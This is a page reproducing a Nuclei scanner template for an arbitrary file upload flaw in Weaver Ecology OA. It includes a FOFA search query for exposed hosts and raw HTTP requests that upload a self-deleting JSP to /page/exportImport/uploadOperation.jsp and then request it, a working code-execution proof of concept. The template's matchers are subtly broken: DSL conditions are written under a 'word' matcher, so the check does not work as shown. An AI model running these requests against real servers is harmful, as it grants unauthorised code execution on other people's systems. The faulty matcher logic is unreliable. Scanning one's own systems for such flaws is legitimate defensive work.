Ecology - Arbitrary File Upload

ID: ecology-arbitrary-file-upload

Severity: critical

Author: ritikchaddha

Tags: ecology,fileupload,intrusive

Description

Ecology contains an arbitrary file upload vulnerability. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: ecology-arbitrary-file-upload

info:
  name: Ecology - Arbitrary File Upload
  author: ritikchaddha
  severity: critical
  description: Ecology contains an arbitrary file upload vulnerability. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-434
  metadata:
    max-request: 2
    fofa-query: app="泛微-协同办公OA"
  tags: ecology,fileupload,intrusive

http:
  - raw:
      - |
        POST /page/exportImport/uploadOperation.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo

        ------WebKitFormBoundaryFy3iNVBftjP6IOwo
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
        Content-Type: application/octet-stream

        <%out.print(364536*876356);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
        ------WebKitFormBoundaryFy3iNVBftjP6IOwo--
      - |
        GET /page/exportImport/fileTransfer/{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "status_code_1 == 200"
          - "contains(body_2, '319463310816') || status_code_2 == 200"
        condition: and
# digest: 4a0a004730450220294eec19db330f1d3f2454193074f0345dcb4bdc7bf8856a248a332e83d28a1c022100aef88a9d9d884ca955a9a9c9c56a1383d8e1503d2bee426547c89ce0a74e7d45:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/weaver/ecology/ecology-arbitrary-file-upload.yaml"

View on Github